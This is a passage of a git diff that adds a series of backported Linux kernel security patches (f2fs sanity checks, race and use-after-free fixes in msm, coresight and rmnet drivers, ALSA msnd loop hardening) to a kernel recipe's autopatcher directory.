dma_alloc_from_contiguous(struct device *dev, size_t count, + unsigned int order) + { + return 0; +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0401-20e2b791796b-ALSA msnd Optimize harden DSP and MIDI loops.patch b/recipes-kernel/linux/linux-bass/autopatcher/0401-20e2b791796b-ALSA msnd Optimize harden DSP and MIDI loops.patch new file mode 100644 index 0000000..ab0a249 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0401-20e2b791796b-ALSA msnd Optimize harden DSP and MIDI loops.patch @@ -0,0 +1,107 @@ +From 20e2b791796bd68816fa115f12be5320de2b8021 Mon Sep 17 00:00:00 2001 +From: Takashi Iwai +Date: Thu, 6 Jul 2017 12:34:40 +0200 +Subject: ALSA: msnd: Optimize / harden DSP and MIDI loops + +The ISA msnd drivers have loops fetching the ring-buffer head, tail +and size values inside the loops. Such codes are inefficient and +fragile. + +This patch optimizes it, and also adds the sanity check to avoid the +endless loops. + +Bugzilla: https://bugzilla.kernel.org/show_bug.cgi?id=196131 +Bugzilla: https://bugzilla.kernel.org/show_bug.cgi?id=196133 +Signed-off-by: Takashi Iwai +--- + sound/isa/msnd/msnd_midi.c | 30 +++++++++++++++--------------- + sound/isa/msnd/msnd_pinnacle.c | 23 ++++++++++++----------- + 2 files changed, 27 insertions(+), 26 deletions(-) + +diff --git a/sound/isa/msnd/msnd_midi.c b/sound/isa/msnd/msnd_midi.c +index 912b5a9ccbab..013d8d1170fe 100644 +--- a/sound/isa/msnd/msnd_midi.c ++++ b/sound/isa/msnd/msnd_midi.c +@@ -120,24 +120,24 @@ void snd_msndmidi_input_read(void *mpuv) + unsigned long flags; + struct snd_msndmidi *mpu = mpuv; + void *pwMIDQData = mpu->dev->mappedbase + MIDQ_DATA_BUFF; ++ u16 head, tail, size; + + spin_lock_irqsave(&mpu->input_lock, flags); +- while (readw(mpu->dev->MIDQ + JQS_wTail) != +- readw(mpu->dev->MIDQ + JQS_wHead)) { +- u16 wTmp, val; +- val = readw(pwMIDQData + 2 * readw(mpu->dev->MIDQ + JQS_wHead)); +- +- if (test_bit(MSNDMIDI_MODE_BIT_INPUT_TRIGGER, +- &mpu->mode)) +- snd_rawmidi_receive(mpu->substream_input, +- (unsigned char *)&val, 1); +- +- wTmp = readw(mpu->dev->MIDQ + JQS_wHead) + 1; +- if (wTmp > readw(mpu->dev->MIDQ + JQS_wSize)) +- writew(0, mpu->dev->MIDQ + JQS_wHead); +- else +- writew(wTmp, mpu->dev->MIDQ + JQS_wHead); ++ head = readw(mpu->dev->MIDQ + JQS_wHead); ++ tail = readw(mpu->dev->MIDQ + JQS_wTail); ++ size = readw(mpu->dev->MIDQ + JQS_wSize); ++ if (head > size || tail > size) ++ goto out; ++ while (head != tail) { ++ unsigned char val = readw(pwMIDQData + 2 * head); ++ ++ if (test_bit(MSNDMIDI_MODE_BIT_INPUT_TRIGGER, &mpu->mode)) ++ snd_rawmidi_receive(mpu->substream_input, &val, 1); ++ if (++head > size) ++ head = 0; ++ writew(head, mpu->dev->MIDQ + JQS_wHead); + } ++ out: + spin_unlock_irqrestore(&mpu->input_lock, flags); + } + EXPORT_SYMBOL(snd_msndmidi_input_read); +diff --git a/sound/isa/msnd/msnd_pinnacle.c b/sound/isa/msnd/msnd_pinnacle.c +index ad4897337df5..fc4fb1904aef 100644 +--- a/sound/isa/msnd/msnd_pinnacle.c ++++ b/sound/isa/msnd/msnd_pinnacle.c +@@ -170,23 +170,24 @@ static irqreturn_t snd_msnd_interrupt(int irq, void *dev_id) + { + struct snd_msnd *chip = dev_id; + void *pwDSPQData = chip->mappedbase + DSPQ_DATA_BUFF; ++ u16 head, tail, size; + + /* Send ack to DSP */ + /* inb(chip->io + HP_RXL); */ + + /* Evaluate queued DSP messages */ +- while (readw(chip->DSPQ + JQS_wTail) != readw(chip->DSPQ + JQS_wHead)) { +- u16 wTmp; +- +- snd_msnd_eval_dsp_msg(chip, +- readw(pwDSPQData + 2 * readw(chip->DSPQ + JQS_wHead))); +- +- wTmp = readw(chip->DSPQ + JQS_wHead) + 1; +- if (wTmp > readw(chip->DSPQ + JQS_wSize)) +- writew(0, chip->DSPQ + JQS_wHead); +- else +- writew(wTmp, chip->DSPQ + JQS_wHead); ++ head = readw(chip->DSPQ + JQS_wHead); ++ tail = readw(chip->DSPQ + JQS_wTail); ++ size = readw(chip->DSPQ + JQS_wSize); ++ if (head > size || tail > size) ++ goto out; ++ while (head != tail) { ++ snd_msnd_eval_dsp_msg(chip, readw(pwDSPQData + 2 * head)); ++ if (++head > size) ++ head = 0; ++ writew(head, chip->DSPQ + JQS_wHead); + } ++ out: + /* Send ack to DSP */ + inb(chip->io + HP_RXL); + return IRQ_HANDLED; +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0402.diff b/recipes-kernel/linux/linux-bass/autopatcher/0402.diff new file mode 100644 index 0000000..9b3fe64 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0402.diff @@ -0,0 +1,64 @@ +diff --git a/fs/timerfd.c b/fs/timerfd.c +index 0013142..0db5b6c 100644 +--- a/fs/timerfd.c ++++ b/fs/timerfd.c +@@ -39,6 +39,7 @@ + int clockid; + struct rcu_head rcu; + struct list_head clist; ++ spinlock_t cancel_lock; + bool might_cancel; + }; + +@@ -111,7 +112,7 @@ + rcu_read_unlock(); + } + +-static void timerfd_remove_cancel(struct timerfd_ctx *ctx) ++static void __timerfd_remove_cancel(struct timerfd_ctx *ctx) + { + if (ctx->might_cancel) { + ctx->might_cancel = false; +@@ -121,6 +122,13 @@ + } + } + ++static void timerfd_remove_cancel(struct timerfd_ctx *ctx) ++{ ++ spin_lock(&ctx->cancel_lock); ++ __timerfd_remove_cancel(ctx); ++ spin_unlock(&ctx->cancel_lock); ++} ++ + static bool timerfd_canceled(struct timerfd_ctx *ctx) + { + if (!ctx->might_cancel || ctx->moffs.tv64 != KTIME_MAX) +@@ -131,6 +139,7 @@ + + static void timerfd_setup_cancel(struct timerfd_ctx *ctx, int flags) + { ++ spin_lock(&ctx->cancel_lock); + if ((ctx->clockid == CLOCK_REALTIME || + ctx->clockid == CLOCK_REALTIME_ALARM) && + (flags & TFD_TIMER_ABSTIME) && (flags & TFD_TIMER_CANCEL_ON_SET)) { +@@ -140,9 +149,10 @@ + list_add_rcu(&ctx->clist, &cancel_list); + spin_unlock(&cancel_lock); + } +- } else if (ctx->might_cancel) { +- timerfd_remove_cancel(ctx); ++ } else { ++ __timerfd_remove_cancel(ctx); + } ++ spin_unlock(&ctx->cancel_lock); + } + + static ktime_t timerfd_get_remaining(struct timerfd_ctx *ctx) +@@ -326,6 +336,7 @@ + return -ENOMEM; + + init_waitqueue_head(&ctx->wqh); ++ spin_lock_init(&ctx->cancel_lock); + ctx->clockid = clockid; + + if (isalarm(ctx)) diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0403.diff b/recipes-kernel/linux/linux-bass/autopatcher/0403.diff new file mode 100644 index 0000000..296ca57 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0403.diff @@ -0,0 +1,36 @@ +diff --git a/fs/f2fs/super.c b/fs/f2fs/super.c +index 5975b09c..2be3a3d 100644 +--- a/fs/f2fs/super.c ++++ b/fs/f2fs/super.c +@@ -442,6 +442,14 @@ + f2fs_msg(sb, KERN_INFO, "Invalid log sectors per block"); + return 1; + } ++ ++ if (le32_to_cpu(raw_super->segment_count) > F2FS_MAX_SEGMENT) { ++ f2fs_msg(sb, KERN_INFO, ++ "Invalid segment count (%u)", ++ le32_to_cpu(raw_super->segment_count)); ++ return 1; ++ } ++ + return 0; + } + +diff --git a/include/linux/f2fs_fs.h b/include/linux/f2fs_fs.h +index df6fab8..fdb6cb9 100644 +--- a/include/linux/f2fs_fs.h ++++ b/include/linux/f2fs_fs.h +@@ -235,6 +235,12 @@ + #define SIT_ENTRY_PER_BLOCK (PAGE_CACHE_SIZE / sizeof(struct f2fs_sit_entry)) + + /* ++ * F2FS uses 4 bytes to represent block address. As a result, supported size of ++ * disk is 16 TB and it equals to 16 * 1024 * 1024 / 2 segments. ++ */ ++#define F2FS_MAX_SEGMENT ((16 * 1024 * 1024) / 2) ++ ++/* + * Note that f2fs_sit_entry->vblocks has the following bit-field information. + * [15:10] : allocation type such as CURSEG_XXXX_TYPE + * [9:0] : valid block count diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0404-2b97ce290c58-PATCH BACKPORT f2fs sanity check checkpoint segno and blkoff.patch b/recipes-kernel/linux/linux-bass/autopatcher/0404-2b97ce290c58-PATCH BACKPORT f2fs sanity check checkpoint segno and blkoff.patch new file mode 100644 index 0000000..2b50cc9 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0404-2b97ce290c58-PATCH BACKPORT f2fs sanity check checkpoint segno and blkoff.patch @@ -0,0 +1,57 @@ +From 2b97ce290c589827e21838c70c9c5601b663037a Mon Sep 17 00:00:00 2001 +From: Jin Qian +Date: Thu, 11 May 2017 16:15:15 -0700 +Subject: [PATCH] BACKPORT: f2fs: sanity check checkpoint segno and blkoff + +Make sure segno and blkoff read from raw image are valid. + +Fixed conflicts due to missing commit 1e968fdfe69e +("f2fs: introduce f2fs_cp_error for readability") and commit 6bacf52fb58a +("f2fs: add unlikely() macro for compiler more aggressively"). + +(url https://sourceforge.net/p/linux-f2fs/mailman/message/35835945) + +Signed-off-by: Jin Qian +Signed-off-by: Siqi Lin +Bug: 36588520 +Change-Id: Iba66ab97d3d0870ea48b5ef192d9075f225a934a +--- + fs/f2fs/super.c | 18 ++++++++++++++++++ + 1 file changed, 18 insertions(+) + +diff --git a/fs/f2fs/super.c b/fs/f2fs/super.c +index 77b2cd5ddd569..787d51b7b30d7 100644 +--- a/fs/f2fs/super.c ++++ b/fs/f2fs/super.c +@@ -450,6 +450,8 @@ static int sanity_check_ckpt(struct f2fs_sb_info *sbi) + unsigned int total, fsmeta; + struct f2fs_super_block *raw_super = F2FS_RAW_SUPER(sbi); + struct f2fs_checkpoint *ckpt = F2FS_CKPT(sbi); ++ unsigned int main_segs, blocks_per_seg; ++ int i; + + total = le32_to_cpu(raw_super->segment_count); + fsmeta = le32_to_cpu(raw_super->segment_count_ckpt); +@@ -461,6 +463,22 @@ static int sanity_check_ckpt(struct f2fs_sb_info *sbi) + if (fsmeta >= total) + return 1; + ++ main_segs = le32_to_cpu(sbi->raw_super->segment_count_main); ++ blocks_per_seg = sbi->blocks_per_seg; ++ ++ for (i = 0; i < NR_CURSEG_NODE_TYPE; i++) { ++ if (le32_to_cpu(ckpt->cur_node_segno[i]) >= main_segs || ++ le16_to_cpu(ckpt->cur_node_blkoff[i]) >= blocks_per_seg) { ++ return 1; ++ } ++ } ++ for (i = 0; i < NR_CURSEG_DATA_TYPE; i++) { ++ if (le32_to_cpu(ckpt->cur_data_segno[i]) >= main_segs || ++ le16_to_cpu(ckpt->cur_data_blkoff[i]) >= blocks_per_seg) { ++ return 1; ++ } ++ } ++ + if (is_set_ckpt_flags(ckpt, CP_ERROR_FLAG)) { + f2fs_msg(sbi->sb, KERN_ERR, "A bug case: need to run fsck"); + return 1; diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0405-9ffb3cdd7279-ASoC msm qdsp6v2 extend validation of virtual address.patch b/recipes-kernel/linux/linux-bass/autopatcher/0405-9ffb3cdd7279-ASoC msm qdsp6v2 extend validation of virtual address.patch new file mode 100644 index 0000000..8429a97 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0405-9ffb3cdd7279-ASoC msm qdsp6v2 extend validation of virtual address.patch @@ -0,0 +1,45 @@ +From 9ffb3cdd7279b011a509267caa4a5119fd6346c0 Mon Sep 17 00:00:00 2001 +From: Siena Richard +Date: Wed, 11 Jan 2017 11:09:24 -0800 +Subject: ASoC: msm: qdsp6v2: extend validation of virtual address + +Validate a buffer virtual address is fully within the region before +returning the region to ensure functionality for an extended edge case. + +Change-Id: Iba3e080889980f393d6a9f0afe0231408b92d654 +Signed-off-by: Siena Richard +CRs-fixed: 1108461 + +Bug: 38195131 +Change-Id: Ib527a380a857719bff8254be514133528bd64c75 +--- + drivers/misc/qcom/qdsp6v2/audio_utils_aio.c | 7 +++++-- + 1 file changed, 5 insertions(+), 2 deletions(-) + +diff --git a/drivers/misc/qcom/qdsp6v2/audio_utils_aio.c b/drivers/misc/qcom/qdsp6v2/audio_utils_aio.c +index 07de5a2..42a3ea7 100644 +--- a/drivers/misc/qcom/qdsp6v2/audio_utils_aio.c ++++ b/drivers/misc/qcom/qdsp6v2/audio_utils_aio.c +@@ -1,6 +1,6 @@ + /* Copyright (C) 2008 Google, Inc. + * Copyright (C) 2008 HTC Corporation +- * Copyright (c) 2009-2016, The Linux Foundation. All rights reserved. ++ * Copyright (c) 2009-2017, The Linux Foundation. All rights reserved. + * + * This software is licensed under the terms of the GNU General Public + * License version 2, as published by the Free Software Foundation, and +@@ -119,7 +119,10 @@ static int audio_aio_ion_lookup_vaddr(struct q6audio_aio *audio, void *addr, + list_for_each_entry(region_elt, &audio->ion_region_queue, list) { + if (addr >= region_elt->vaddr && + addr < region_elt->vaddr + region_elt->len && +- addr + len <= region_elt->vaddr + region_elt->len) { ++ addr + len <= region_elt->vaddr + region_elt->len && ++ addr + len > addr) { ++ /* to avoid integer addition overflow */ ++ + /* offset since we could pass vaddr inside a registerd + * ion buffer + */ +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0406-a2e451a1e1d9-fbdev msm Allocate fd with OCLOEXEC flag.patch b/recipes-kernel/linux/linux-bass/autopatcher/0406-a2e451a1e1d9-fbdev msm Allocate fd with OCLOEXEC flag.patch new file mode 100644 index 0000000..8941680 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0406-a2e451a1e1d9-fbdev msm Allocate fd with OCLOEXEC flag.patch @@ -0,0 +1,35 @@ +From a2e451a1e1d973709ccd062c9aade669cd0daca4 Mon Sep 17 00:00:00 2001 +From: Krishna Manikandan +Date: Wed, 28 Jun 2017 13:53:04 +0530 +Subject: fbdev: msm: Allocate fd with O_CLOEXEC flag + +When fd is requested during get_metadata call, create fd +using O_CLOEXEC flag. + +CRs-Fixed: 2030638 +Change-Id: I1c874f713a3ebada63ba2c85f021aa78b04af44b +Signed-off-by: Krishna Manikandan +--- + drivers/video/msm/mdss/mdss_mdp_overlay.c | 5 +++-- + 1 file changed, 3 insertions(+), 2 deletions(-) + +diff --git a/drivers/video/msm/mdss/mdss_mdp_overlay.c b/drivers/video/msm/mdss/mdss_mdp_overlay.c +index 5f51926..5c43180 100644 +--- a/drivers/video/msm/mdss/mdss_mdp_overlay.c ++++ b/drivers/video/msm/mdss/mdss_mdp_overlay.c +@@ -5212,9 +5212,10 @@ static int mdss_fb_get_metadata(struct msm_fb_data_type *mfd, + ret = mdss_fb_get_hw_caps(mfd, &metadata->data.caps); + break; + case metadata_op_get_ion_fd: +- if (mfd->fb_ion_handle) { ++ if (mfd->fb_ion_handle && mfd->fb_ion_client) { + metadata->data.fbmem_ionfd = +- dma_buf_fd(mfd->fbmem_buf, 0); ++ ion_share_dma_buf_fd(mfd->fb_ion_client, ++ mfd->fb_ion_handle); + if (metadata->data.fbmem_ionfd < 0) + pr_err("fd allocation failed. fd = %d\n", + metadata->data.fbmem_ionfd); +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0407-f2a482422fef-net usb rmnetusbctrlMake sure listhead operate atomically.patch b/recipes-kernel/linux/linux-bass/autopatcher/0407-f2a482422fef-net usb rmnetusbctrlMake sure listhead operate atomically.patch new file mode 100644 index 0000000..984003a --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0407-f2a482422fef-net usb rmnetusbctrlMake sure listhead operate atomically.patch @@ -0,0 +1,115 @@ +From f2a482422fefadfa0fa9b4146fc0e2b46ac04922 Mon Sep 17 00:00:00 2001 +From: Liangliang Lu +Date: Fri, 5 May 2017 08:50:32 +0800 +Subject: net: usb: rmnet_usb_ctrl:Make sure list_head operate atomically + +Get and delete operation on variables "list_elem" are not atomic. +Multiple threads may get the same "list_elem", may lead to race +conditions. + +Add mutex in rmnet_ctl_open to resolve current potential race condition +between test_bit and set_bit. + +Change-Id: I00c4e2fd4854ee17a13a0757da98c46a78eee4cb +Signed-off-by: Liangliang Lu +--- + drivers/net/usb/rmnet_usb_ctrl.c | 32 +++++++++++++++++++++++--------- + 1 file changed, 23 insertions(+), 9 deletions(-) + +diff --git a/drivers/net/usb/rmnet_usb_ctrl.c b/drivers/net/usb/rmnet_usb_ctrl.c +index 58fd1f6..75e9783 100644 +--- a/drivers/net/usb/rmnet_usb_ctrl.c ++++ b/drivers/net/usb/rmnet_usb_ctrl.c +@@ -1,4 +1,4 @@ +-/* Copyright (c) 2011-2014, The Linux Foundation. All rights reserved. ++/* Copyright (c) 2011-2014, 2017, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and +@@ -514,8 +514,13 @@ static int rmnet_ctl_open(struct inode *inode, struct file *file) + if (!dev) + return -ENODEV; + +- if (test_bit(RMNET_CTRL_DEV_OPEN, &dev->status)) ++ mutex_lock(&dev->dev_lock); ++ if (test_bit(RMNET_CTRL_DEV_OPEN, &dev->status)) { ++ mutex_unlock(&dev->dev_lock); + goto already_opened; ++ } ++ set_bit(RMNET_CTRL_DEV_OPEN, &dev->status); ++ mutex_unlock(&dev->dev_lock); + + if (dev->mdm_wait_timeout && + !test_bit(RMNET_CTRL_DEV_READY, &dev->cudev->status)) { +@@ -527,10 +532,15 @@ static int rmnet_ctl_open(struct inode *inode, struct file *file) + if (retval == 0) { + dev_err(dev->devicep, "%s: Timeout opening %s\n", + __func__, dev->name); +- return -ETIMEDOUT; +- } else if (retval < 0) { ++ retval = -ETIMEDOUT; ++ } else if (retval < 0) + dev_err(dev->devicep, "%s: Error waiting for %s\n", + __func__, dev->name); ++ ++ if (retval < 0) { ++ mutex_lock(&dev->dev_lock); ++ clear_bit(RMNET_CTRL_DEV_OPEN, &dev->status); ++ mutex_unlock(&dev->dev_lock); + return retval; + } + } +@@ -538,14 +548,15 @@ static int rmnet_ctl_open(struct inode *inode, struct file *file) + if (!test_bit(RMNET_CTRL_DEV_READY, &dev->cudev->status)) { + dev_dbg(dev->devicep, "%s: Connection timedout opening %s\n", + __func__, dev->name); ++ mutex_lock(&dev->dev_lock); ++ clear_bit(RMNET_CTRL_DEV_OPEN, &dev->status); ++ mutex_unlock(&dev->dev_lock); + return -ETIMEDOUT; + } + + /* clear stale data if device close called but channel was ready */ + rmnet_usb_ctrl_free_rx_list(dev); + +- set_bit(RMNET_CTRL_DEV_OPEN, &dev->status); +- + file->private_data = dev; + + already_opened: +@@ -564,7 +575,9 @@ static int rmnet_ctl_release(struct inode *inode, struct file *file) + + DBG("%s Called on %s device\n", __func__, dev->name); + ++ mutex_lock(&dev->dev_lock); + clear_bit(RMNET_CTRL_DEV_OPEN, &dev->status); ++ mutex_unlock(&dev->dev_lock); + + file->private_data = NULL; + +@@ -638,6 +651,7 @@ ctrl_read: + + list_elem = list_first_entry(&dev->rx_list, + struct ctrl_pkt_list_elem, list); ++ list_del(&list_elem->list); + bytes_to_read = (uint32_t)(list_elem->cpkt.data_size); + if (bytes_to_read > count) { + spin_unlock_irqrestore(&dev->rx_lock, flags); +@@ -654,11 +668,11 @@ ctrl_read: + dev_err(dev->devicep, + "%s: copy_to_user failed for %s\n", + __func__, dev->name); ++ spin_lock_irqsave(&dev->rx_lock, flags); ++ list_add(&list_elem->list, &dev->rx_list); ++ spin_unlock_irqrestore(&dev->rx_lock, flags); + return -EFAULT; + } +- spin_lock_irqsave(&dev->rx_lock, flags); +- list_del(&list_elem->list); +- spin_unlock_irqrestore(&dev->rx_lock, flags); + + kfree(list_elem->cpkt.data); + kfree(list_elem); +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0408-b73156e5a907-coresight tmc Fix use after free issue with tmc read.patch b/recipes-kernel/linux/linux-bass/autopatcher/0408-b73156e5a907-coresight tmc Fix use after free issue with tmc read.patch new file mode 100644 index 0000000..75baf65 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0408-b73156e5a907-coresight tmc Fix use after free issue with tmc read.patch @@ -0,0 +1,121 @@ +From b73156e5a907f16ae0e2f6e589f16a893dd6b5a4 Mon Sep 17 00:00:00 2001 +From: Saranya Chidura +Date: Mon, 10 Jul 2017 11:52:36 +0530 +Subject: coresight: tmc: Fix use after free issue with tmc read + +Fix race condition seen between reading tmc buffer and enabling +the device. The race condition can result in a use after free +issue if the buffer is released while a read is in progress. + +Bug: 64453422 +Signed-off-by: Saranya Chidura +Change-Id: I9908fa78acbf3152ee791c63fef525f09a9a23d5 +--- + drivers/coresight/coresight-tmc.c | 33 +++++++++++++++++++++------------ + 1 file changed, 21 insertions(+), 12 deletions(-) + +diff --git a/drivers/coresight/coresight-tmc.c b/drivers/coresight/coresight-tmc.c +index 1820869..9d4b9b2 100644 +--- a/drivers/coresight/coresight-tmc.c ++++ b/drivers/coresight/coresight-tmc.c +@@ -1,4 +1,4 @@ +-/* Copyright (c) 2012-2014, The Linux Foundation. All rights reserved. ++/* Copyright (c) 2012-2017, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and +@@ -846,6 +846,14 @@ static int tmc_enable(struct tmc_drvdata *drvdata, enum tmc_mode mode) + return ret; + + mutex_lock(&drvdata->usb_lock); ++ spin_lock_irqsave(&drvdata->spinlock, flags); ++ if (drvdata->reading) { ++ ret = -EBUSY; ++ spin_unlock_irqrestore(&drvdata->spinlock, flags); ++ goto err0; ++ } ++ spin_unlock_irqrestore(&drvdata->spinlock, flags); ++ + if (drvdata->config_type == TMC_CONFIG_TYPE_ETB) { + coresight_cti_map_trigout(drvdata->cti_flush, 1, 0); + coresight_cti_map_trigin(drvdata->cti_reset, 2, 0); +@@ -892,10 +900,6 @@ static int tmc_enable(struct tmc_drvdata *drvdata, enum tmc_mode mode) + } + + spin_lock_irqsave(&drvdata->spinlock, flags); +- if (drvdata->reading) { +- ret = -EBUSY; +- goto err1; +- } + + if (drvdata->config_type == TMC_CONFIG_TYPE_ETB) { + __tmc_etb_enable(drvdata); +@@ -920,11 +924,6 @@ static int tmc_enable(struct tmc_drvdata *drvdata, enum tmc_mode mode) + + dev_info(drvdata->dev, "TMC enabled\n"); + return 0; +-err1: +- spin_unlock_irqrestore(&drvdata->spinlock, flags); +- if (drvdata->config_type == TMC_CONFIG_TYPE_ETR) +- if (drvdata->out_mode == TMC_ETR_OUT_MODE_USB) +- usb_qdss_close(drvdata->usbch); + err0: + mutex_unlock(&drvdata->usb_lock); + clk_disable_unprepare(drvdata->clk); +@@ -1317,6 +1316,7 @@ static int tmc_read_prepare(struct tmc_drvdata *drvdata) + unsigned long flags; + enum tmc_mode mode; + ++ mutex_lock(&drvdata->usb_lock); + spin_lock_irqsave(&drvdata->spinlock, flags); + if (!drvdata->sticky_enable) { + dev_err(drvdata->dev, "enable tmc once before reading\n"); +@@ -1347,11 +1347,13 @@ static int tmc_read_prepare(struct tmc_drvdata *drvdata) + out: + drvdata->reading = true; + spin_unlock_irqrestore(&drvdata->spinlock, flags); ++ mutex_unlock(&drvdata->usb_lock); + + dev_info(drvdata->dev, "TMC read start\n"); + return 0; + err: + spin_unlock_irqrestore(&drvdata->spinlock, flags); ++ mutex_unlock(&drvdata->usb_lock); + return ret; + } + +@@ -1533,8 +1535,12 @@ static ssize_t tmc_read(struct file *file, char __user *data, size_t len, + { + struct tmc_drvdata *drvdata = container_of(file->private_data, + struct tmc_drvdata, miscdev); +- char *bufp = drvdata->buf + *ppos; +- char *end = (char *)(drvdata->vaddr + drvdata->size); ++ char *bufp, *end; ++ ++ mutex_lock(&drvdata->usb_lock); ++ ++ bufp = drvdata->buf + *ppos; ++ end = (char *)(drvdata->vaddr + drvdata->size); + + if (*ppos + len > drvdata->size) + len = drvdata->size - *ppos; +@@ -1561,6 +1567,7 @@ static ssize_t tmc_read(struct file *file, char __user *data, size_t len, + + if (copy_to_user(data, bufp, len)) { + dev_dbg(drvdata->dev, "%s: copy_to_user failed\n", __func__); ++ mutex_unlock(&drvdata->usb_lock); + return -EFAULT; + } + +@@ -1568,6 +1575,8 @@ static ssize_t tmc_read(struct file *file, char __user *data, size_t len, + out: + dev_dbg(drvdata->dev, "%s: %zu bytes copied, %d bytes left\n", + __func__, len, (int) (drvdata->size - *ppos)); ++ ++ mutex_lock(&drvdata->usb_lock); + return len; + } + +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0409-c31ee5c0cea9-coresight tmc Fix the unbalanced lock in tmcread.patch b/recipes-kernel/linux/linux-bass/autopatcher/0409-c31ee5c0cea9-coresight tmc Fix the unbalanced lock in tmcread.patch new file mode 100644 index 0000000..cf9d759 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0409-c31ee5c0cea9-coresight tmc Fix the unbalanced lock in tmcread.patch @@ -0,0 +1,33 @@ +From c31ee5c0cea998aeb9d13d3d9cd2fb9a2a97ceee Mon Sep 17 00:00:00 2001 +From: Saranya Chidura +Date: Wed, 26 Jul 2017 17:37:17 +0530 +Subject: coresight: tmc: Fix the unbalanced lock in tmc_read() + +'commit 734aabed17090: ("coresight: tmc: Fix use after free issue +with tmc read")' adds lock in tmc_read() to fix race condition seen in +reading tmc buffer and enabling the device.But commit has unbalanced +lock. This patch fixes the lock. + +Bug: 64453422 +Change-Id: Iaf3ecd83ef5af346725885ea2c84c4185f1a1c50 +Signed-off-by: Saranya Chidura +--- + drivers/coresight/coresight-tmc.c | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +diff --git a/drivers/coresight/coresight-tmc.c b/drivers/coresight/coresight-tmc.c +index 9d4b9b2..a15acd1 100644 +--- a/drivers/coresight/coresight-tmc.c ++++ b/drivers/coresight/coresight-tmc.c +@@ -1576,7 +1576,7 @@ out: + dev_dbg(drvdata->dev, "%s: %zu bytes copied, %d bytes left\n", + __func__, len, (int) (drvdata->size - *ppos)); + +- mutex_lock(&drvdata->usb_lock); ++ mutex_unlock(&drvdata->usb_lock); + return len; + } + +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0410-d5481967f73c-PATCH compatqcedev Fix accessing userspace memory in kernel space.patch b/recipes-kernel/linux/linux-bass/autopatcher/0410-d5481967f73c-PATCH compatqcedev Fix accessing userspace memory in kernel space.patch new file mode 100644 index 0000000..306f3fe --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0410-d5481967f73c-PATCH compatqcedev Fix accessing userspace memory in kernel space.patch @@ -0,0 +1,93 @@ +From d5481967f73c5448b9b2ae528a75faa0b040bc42 Mon Sep 17 00:00:00 2001 +From: mohamed sunfeer +Date: Wed, 21 Jun 2017 15:21:58 +0530 +Subject: [PATCH] compat_qcedev: Fix accessing userspace memory in kernel space + +Use put_user API to write the data to userspace from kernel +space to avoid accessing userspace memory directly in +kernel space. + +Bug: 37893116 +Change-Id: I3f0b0f13e720c052c8c23dfb36ffaccc484369ec +Signed-off-by: mohamed sunfeer +--- + drivers/crypto/msm/compat_qcedev.c | 10 +--------- + 1 file changed, 1 insertion(+), 9 deletions(-) + +diff --git a/drivers/crypto/msm/compat_qcedev.c b/drivers/crypto/msm/compat_qcedev.c +index 97ae990b5378b..4b36e7343aff6 100644 +--- a/drivers/crypto/msm/compat_qcedev.c ++++ b/drivers/crypto/msm/compat_qcedev.c +@@ -1,7 +1,7 @@ + /* + * QTI CE 32-bit compatibility syscall for 64-bit systems + * +- * Copyright (c) 2014, The Linux Foundation. All rights reserved. ++ * Copyright (c) 2014-2015, 2017, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and +@@ -97,7 +97,6 @@ static int compat_get_qcedev_vbuf_info( + + for (i = 0; i < QCEDEV_MAX_BUFFERS; i++) { + err |= get_user(vaddr, &vbuf32->src[i].vaddr); +- vbuf->src[i].vaddr = NULL; + err |= put_user(vaddr, (compat_uptr_t *)&vbuf->src[i].vaddr); + err |= get_user(len, &vbuf32->src[i].len); + err |= put_user(len, &vbuf->src[i].len); +@@ -105,7 +104,6 @@ static int compat_get_qcedev_vbuf_info( + + for (i = 0; i < QCEDEV_MAX_BUFFERS; i++) { + err |= get_user(vaddr, &vbuf32->dst[i].vaddr); +- vbuf->dst[i].vaddr = NULL; + err |= put_user(vaddr, (compat_uptr_t *)&vbuf->dst[i].vaddr); + err |= get_user(len, &vbuf32->dst[i].len); + err |= put_user(len, &vbuf->dst[i].len); +@@ -123,7 +121,6 @@ static int compat_put_qcedev_vbuf_info( + + for (i = 0; i < QCEDEV_MAX_BUFFERS; i++) { + err |= get_user(vaddr, (compat_uptr_t *)&vbuf->src[i].vaddr); +- vbuf32->src[i].vaddr = 0; + err |= put_user(vaddr, &vbuf32->src[i].vaddr); + err |= get_user(len, &vbuf->src[i].len); + err |= put_user(len, &vbuf32->src[i].len); +@@ -131,7 +128,6 @@ static int compat_put_qcedev_vbuf_info( + + for (i = 0; i < QCEDEV_MAX_BUFFERS; i++) { + err |= get_user(vaddr, (compat_uptr_t *)&vbuf->dst[i].vaddr); +- vbuf32->dst[i].vaddr = 0; + err |= put_user(vaddr, &vbuf32->dst[i].vaddr); + err |= get_user(len, &vbuf->dst[i].len); + err |= put_user(len, &vbuf32->dst[i].len); +@@ -276,7 +272,6 @@ static int compat_get_qcedev_sha_op_req( + + for (i = 0; i < 